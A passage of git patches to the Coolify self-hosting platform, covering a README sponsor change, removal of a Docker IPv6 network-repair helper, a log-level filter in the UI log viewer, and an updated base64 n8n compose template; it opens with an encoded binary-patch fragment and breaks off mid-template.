zGfzH?La_k1F=gVhI9Mqel*v7j6&rL8Flno`N$zI$BD(%IK%X}Lc!BW#a$fI?D0+CyMq4k#M7K;ZZWp@p}dUL zL2+qmXwS0B6tA~b`SCt609C0rduSm9TGHvW{DA*2?C3%nO@l-P#^|7s%L>2LFWOp? zIOU`haNe0`fdf?zFd|&Qe!PJL zmI zjg_20#~d{ur=NK`PC5NFjGH`#o?h_`Klj9PdSS&1Y~Hv9eSH~25IT`a!il&xYXhx4 z0L2Z==JrEoAAI}jr=RYrEcxwF{E@QX+WCmaZva5D^^gk!joaO5O69Wy)|{hf^55Td z2exj`ljBGjt_@hPcc(^vGME{qa)9v@(h!BM_}S&(!umC@nYPxc+8DOA+QS8J_vg!* z%pKL1yYbT8%W0@=~|3vj36Wr_2;nem5ub!Lyz+Bm#@G}>o!nHTa0*` z+Sk!EM_N-YU`M&Jea=STQz0)ru>tRRYO{4X@tBUbSsMjfvF zR%->^CmcV}4cy05sDS%xIR~z^)>iZ%#6n1jM4aH*fV5zWWpwWD;b)&;jfWq30;^ZQ zj4fL_Q7Q!x4Jk^*njkD2WmV$FR5Mb^IQn~cabN!+qgaHUY+%Q6V7ZpG1d$E`m_UOS z7r<&IOZ|{5}oM_r;WlGrr@$H*`&gp}X zrNO;f*tW~{bXyEn4X41QVThnL!5D=}tqo`}L;PR={zJOAqXV&)DaN)M40{8XQ2AFP z31`Xf9h=v`9Wnn%c|RL~s_f$eo`3%N@h6{r@>H*=K5IaK#jevXEgOy<193u^N+ll3 z4nnE2NT(bzaa@{@oHrW_jyf9i<{g1KGp8fn(gL`G0FO~B0)c||R5&XWA|xG#0g(uS zMimJ+da81MRFOlYns-nMI?V6`S67eUH^IkjLc}8*hG7CU9NS^oF5ozT8zU5bsB*v? zw{1sfPcN1)e;UuNT8&pX?ZlqFg8&nvu_R*ggkd2}07c9KqEg1nRXBp9%4MkGd%R!9^o z1%nxTyLV&nU>4iAZ>LpjUgGtyZow-XHly>kofyh_kRk#*7GWnAH?9*2nRdXI_BDiH zXcV9-1RVfFf?!)Vf}lL$mAt`NJU$4bmE~e#dopSL$+l^IPj`2Jopw{*ZvU3lv)@9g zPFB@I5EAM3OMESEh$Y%${0$FZoX z#YW2YvGw^U`JUT;hIKD&pm@4j$Kna{y`m_WhI*o)%d*+dJ1X}3Evxgto_t^cMoT@U zGz<}hz=FdMZ|mwCTu}1zr;@Z6DveoEHpCTd2v>qgKtPyMp{#w+gI_KP3yP%8)RIo& zkb@>7l}_=z!w;kBQx2j?#Kp9!Q!r`LBsh-6Bn)D%g=iv1aNSUOA!&F?T=%ag!z>|z z2U9GfP$&wuV&0Rc@%hF(fKUS<-$pe`jclY#SduKN(%@mZiv7?Q!U6&ol zF_tAI2xPP(qXV#JNWt)fd=X4tM(fp%BX-84&I`MD_YP`!MgnMQY04jZ=-lpEv+}*S zEL$C*!pT`DvTmn;w<$g9LqZ~8>cPj%8|WXrQdoS3F^(SU>!WE$Oc7tY`UW(%%tp`d z930mQ+jaqHqoH*O)rdrFBw{Yo2@9pYop@=*AMnHj_hG}PPFONxQi%o=1c4O<{jf#( z)=A@{-+KAw*Lv$K6Mw0b{=fhnSg7u%nCc;BBaS`x$SK`B_b$)|$L77#(bBf&Xie!z zq#4=(PBan{$|b&Izj9MM?Ujq0x5 zyUD#DB?LfN7Fx&6J)z{4mKx@B$#N}=jA}?F<%yp;7av)2E@z826|x0#9S5v61Ob*1 zh`KH!5r-uT@cOsY=5=ea`l%II^}<>n92n$CJZ=(+W|j=wFX!NU*{708`|{phTbKU@ zD;{H>_XqOEr2e6<#byDS(gh(U-Kp-$C zq|vq{{2&M?z6hy_2qp;F_dE)G1+9ZHu_&s{fZ^PtIuvdwA&oDDZNs)57PbZHSi~R_ zB&6%Q;ewS0Ndg&-!1tj1a%J$i=?=VNHX3m^2Z8@$ON;YTHd}i6BOjUDbN_wIGZI z#@KKiix`@f38xpCLJqq&tjF$MyRmNVO6=USnfv=P1UqWt4Ncm0B9i^G(0&dudaZ56 zuFv$n^2-Y8={uVE{J;RbIiWGUgW;@}5MVYq@ANZTo_lfAq4{E_DHcu4>)o?wS~L-D zw=8Fl=X(tx%dw=DU?LbMNExjFjY1AtGtyC}eg9h_j~Ip?umKwdCJjLhqm}l2zd&F= znTYKv7E0@luZEhNnzr|4`kr^C%$~A%{>F}uM+b&^@%H&fQFpHUC6@eOE_C9FC(2FR z_8vQw&3}!AIFm^V%Z)%-5kn%Ti@B0e-XO&zhAhWLB;pbiq3nAol}cce2+9F#V>q5@ zV9Rn@+rl!eAe9EIz}LF`m?VA6*S~VnLswjJg%@U_A(BWm$J6Q5G(oD(_q|v#UyKG?TLx^|mTNO) z$Q8mA5I7)9ay)7e*|uE-W56pFyMjRF6sdAULn1q=y|ruG`mMYCeBSHll_e?X2X)!^ zvDPm}?Bee=Wj~-00j=Yw9#_a0E@4C$OA%`~G75^=kQN{eK^iilS)?!~B!VDY2x$SP zfIu4<1(3=q6%*+OQ@rx zW8{4p`GAb|z>Iv)Sod<|!}hLu@ZQBzD+8j=z<%+IOB>g$Su<(#=B}oaUyd_CzV Date: Wed, 4 Mar 2026 09:02:22 +0100 Subject: [PATCH 144/305] docs(readme): move MVPS to Huge Sponsors section Promote MVPS from the Big Sponsors list to Huge Sponsors to reflect its updated sponsorship tier. --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 901536208..e9ea0e7d4 100644 --- a/README.md +++ b/README.md @@ -57,7 +57,9 @@ ## Donations ### Huge Sponsors +* [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality * [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API +* ### Big Sponsors @@ -85,7 +87,6 @@ ### Big Sponsors * [LiquidWeb](https://liquidweb.com?ref=coolify.io) - Premium managed hosting solutions * [Logto](https://logto.io?ref=coolify.io) - The better identity infrastructure for developers * [Macarne](https://macarne.com?ref=coolify.io) - Best IP Transit & Carrier Ethernet Solutions for Simplified Network Connectivity -* [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality * [Mobb](https://vibe.mobb.ai/?ref=coolify.io) - Secure Your AI-Generated Code to Unlock Dev Productivity * [PFGLabs](https://pfglabs.com?ref=coolify.io) - Build Real Projects with Golang * [Ramnode](https://ramnode.com/?ref=coolify.io) - High Performance Cloud VPS Hosting From 4015e0315388cea07114ecd66cda96056e614e39 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 4 Mar 2026 11:36:52 +0100 Subject: [PATCH 145/305] fix(proxy): remove ipv6 cidr network remediation stop explicitly re-creating networks while ensuring them since the previous IPv6 CIDR gateway workaround is no longer needed and was duplicating effort. --- bootstrap/helpers/proxy.php | 56 ++++++------------------------------- 1 file changed, 8 insertions(+), 48 deletions(-) diff --git a/bootstrap/helpers/proxy.php b/bootstrap/helpers/proxy.php index 27637cc6f..ac52c0af8 100644 --- a/bootstrap/helpers/proxy.php +++ b/bootstrap/helpers/proxy.php @@ -127,44 +127,10 @@ function connectProxyToNetworks(Server $server) return $commands->flatten(); } -/** - * Generate shell commands to fix a Docker network that has an IPv6 gateway with CIDR notation. - * - * Docker 25+ may store IPv6 gateways with CIDR (e.g. fd7d:f7d2:7e77::1/64), which causes - * ParseAddr errors in Docker Compose. This detects the issue and recreates the network. - * - * @see https://github.com/coollabsio/coolify/issues/8649 - * - * @param string $network Network name to check and fix - * @return array Shell commands to execute on the remote server - */ -function fixNetworkIpv6CidrGateway(string $network): array -{ - return [ - "if docker network inspect {$network} >/dev/null 2>&1; then", - " IPV6_GW=\$(docker network inspect {$network} --format '{{range .IPAM.Config}}{{.Gateway}} {{end}}' 2>/dev/null | tr ' ' '\n' | grep '/' || true)", - ' if [ -n "$IPV6_GW" ]; then', - " echo \"Fixing network {$network}: IPv6 gateway has CIDR notation (\$IPV6_GW)\"", - " CONTAINERS=\$(docker network inspect {$network} --format '{{range .Containers}}{{.Name}} {{end}}' 2>/dev/null)", - ' for c in $CONTAINERS; do', - " [ -n \"\$c\" ] && docker network disconnect {$network} \"\$c\" 2>/dev/null || true", - ' done', - " docker network rm {$network} 2>/dev/null || true", - " docker network create --attachable {$network} 2>/dev/null || true", - ' for c in $CONTAINERS; do', - " [ -n \"\$c\" ] && [ \"\$c\" != \"coolify-proxy\" ] && docker network connect {$network} \"\$c\" 2>/dev/null || true", - ' done', - ' fi', - 'fi', - ]; -} - /** * Ensures all required networks exist before docker compose up. * This must be called BEFORE docker compose up since the compose file declares networks as external. * - * Also detects and fixes networks with IPv6 CIDR gateway notation that causes ParseAddr errors. - * * @param Server $server The server to ensure networks on * @return \Illuminate\Support\Collection Commands to create networks if they don't exist */ @@ -174,23 +140,17 @@ function ensureProxyNetworksExist(Server $server) if ($server->isSwarm()) { $commands = $networks->map(function ($network) { - return array_merge( - fixNetworkIpv6CidrGateway($network), - [ - "echo 'Ensuring network $network exists...'", - "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable $network", - ] - ); + return [ + "echo 'Ensuring network $network exists...'", + "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable $network", + ]; }); } else { $commands = $networks->map(function ($network) { - return array_merge( - fixNetworkIpv6CidrGateway($network), - [ - "echo 'Ensuring network $network exists...'", - "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable $network", - ] - ); + return [ + "echo 'Ensuring network $network exists...'", + "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable $network", + ]; }); } From 1f5395dd842d6a1589dd3c4fcb8f0195c6d9d939 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 6 Mar 2026 10:05:52 +0530 Subject: [PATCH 146/305] fix(ui): info logs were not highlighted with blue color --- resources/views/livewire/project/shared/get-logs.blade.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/resources/views/livewire/project/shared/get-logs.blade.php b/resources/views/livewire/project/shared/get-logs.blade.php index 28d6109d0..1df4bae7e 100644 --- a/resources/views/livewire/project/shared/get-logs.blade.php +++ b/resources/views/livewire/project/shared/get-logs.blade.php @@ -89,7 +89,7 @@ line.classList.add('log-warning'); } else if (/\b(debug|dbg|trace|verbose)\b/.test(content)) { line.classList.add('log-debug'); - } else if (/\b(info|inf|notice)\b/.test(content)) { + } else { line.classList.add('log-info'); } }); From a73360e5036ed38e90b54bc4af1a5f803416fa86 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 6 Mar 2026 10:53:30 +0530 Subject: [PATCH 147/305] feat(ui): add log filter based on log level --- .../project/shared/get-logs.blade.php | 75 ++++++++++++++++--- 1 file changed, 65 insertions(+), 10 deletions(-) diff --git a/resources/views/livewire/project/shared/get-logs.blade.php b/resources/views/livewire/project/shared/get-logs.blade.php index 1df4bae7e..ee5b65cf5 100644 --- a/resources/views/livewire/project/shared/get-logs.blade.php +++ b/resources/views/livewire/project/shared/get-logs.blade.php @@ -8,6 +8,7 @@ rafId: null, scrollDebounce: null, colorLogs: localStorage.getItem('coolify-color-logs') === 'true', + logFilters: JSON.parse(localStorage.getItem('coolify-log-filters')) || {error: true, warning: true, debug: true, info: true}, searchQuery: '', matchCount: 0, containerName: '{{ $container ?? "logs" }}', @@ -70,6 +71,17 @@ } }, 150); }, + getLogLevel(content) { + if (/\b(error|err|failed|failure|exception|fatal|panic|critical)\b/.test(content)) return 'error'; + if (/\b(warn|warning|wrn|caution)\b/.test(content)) return 'warning'; + if (/\b(debug|dbg|trace|verbose)\b/.test(content)) return 'debug'; + return 'info'; + }, + toggleLogFilter(level) { + this.logFilters[level] = !this.logFilters[level]; + localStorage.setItem('coolify-log-filters', JSON.stringify(this.logFilters)); + this.applySearch(); + }, toggleColorLogs() { this.colorLogs = !this.colorLogs; localStorage.setItem('coolify-color-logs', this.colorLogs); @@ -81,17 +93,11 @@ const lines = logs.querySelectorAll('[data-log-line]'); lines.forEach(line => { const content = (line.dataset.logContent || '').toLowerCase(); + const level = this.getLogLevel(content); + line.dataset.logLevel = level; line.classList.remove('log-error', 'log-warning', 'log-debug', 'log-info'); if (!this.colorLogs) return; - if (/\b(error|err|failed|failure|exception|fatal|panic|critical)\b/.test(content)) { - line.classList.add('log-error'); - } else if (/\b(warn|warning|wrn|caution)\b/.test(content)) { - line.classList.add('log-warning'); - } else if (/\b(debug|dbg|trace|verbose)\b/.test(content)) { - line.classList.add('log-debug'); - } else { - line.classList.add('log-info'); - } + line.classList.add('log-' + level); }); }, hasActiveLogSelection() { @@ -118,7 +124,10 @@ lines.forEach(line => { const content = (line.dataset.logContent || '').toLowerCase(); const textSpan = line.querySelector('[data-line-text]'); - const matches = !query || content.includes(query); + const level = line.dataset.logLevel || this.getLogLevel(content); + const passesFilter = this.logFilters[level] !== false; + const matchesSearch = !query || content.includes(query); + const matches = passesFilter && matchesSearch; line.classList.toggle('hidden', !matches); if (matches && query) count++; @@ -389,6 +398,52 @@ class="p-1 text-gray-500 hover:text-gray-700 dark:text-gray-400 dark:hover:text- d="M9.53 16.122a3 3 0 0 0-5.78 1.128 2.25 2.25 0 0 1-2.4 2.245 4.5 4.5 0 0 0 8.4-2.245c0-.399-.078-.78-.22-1.128Zm0 0a15.998 15.998 0 0 0 3.388-1.62m-5.043-.025a15.994 15.994 0 0 1 1.622-3.395m3.42 3.42a15.995 15.995 0 0 0 4.764-4.648l3.876-5.814a1.151 1.151 0 0 0-1.597-1.597L14.146 6.32a15.996 15.996 0 0 0-4.649 4.763m3.42 3.42a6.776 6.776 0 0 0-3.42-3.42" /> +
+ +
+
+ + + + +
+
+
- @if ($privateKeyId) + @if (!is_null($privateKeyId))

Deploy Key

Currently attached Private Key: {{ $privateKeyName }} diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index 6c7af5dc5..2ea3ce8c5 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -2884,7 +2884,7 @@ "n8n-with-postgres-and-worker": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool with queue mode and workers.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9OOE5fNTY3OAogICAgICAtICdOOE5fRURJVE9SX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ044Tl9QUk9UT0NPTD0ke044Tl9QUk9UT0NPTDotaHR0cHN9JwogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotVVRDfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBFWEVDVVRJT05TX01PREU9cXVldWUKICAgICAgLSBRVUVVRV9CVUxMX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBRVUVVRV9IRUFMVEhfQ0hFQ0tfQUNUSVZFPXRydWUKICAgICAgLSAnTjhOX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9FTkNSWVBUSU9OfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUj0ke044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUjotdHJ1ZX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICAgIC0gT0ZGTE9BRF9NQU5VQUxfRVhFQ1VUSU9OU19UT19XT1JLRVJTPXRydWUKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICAgIC0gJ044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s9JHtOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgbjhuLXdvcmtlcjoKICAgIGltYWdlOiAnbjhuaW8vbjhuOjIuMS41JwogICAgY29tbWFuZDogd29ya2VyCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBuOG46CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHRhc2stcnVubmVyczoKICAgIGltYWdlOiAnbjhuaW8vcnVubmVyczoyLjEuNScKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG4td29ya2VyOjU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtIE9GRkxPQURfTUFOVUFMX0VYRUNVVElPTlNfVE9fV09SS0VSUz10cnVl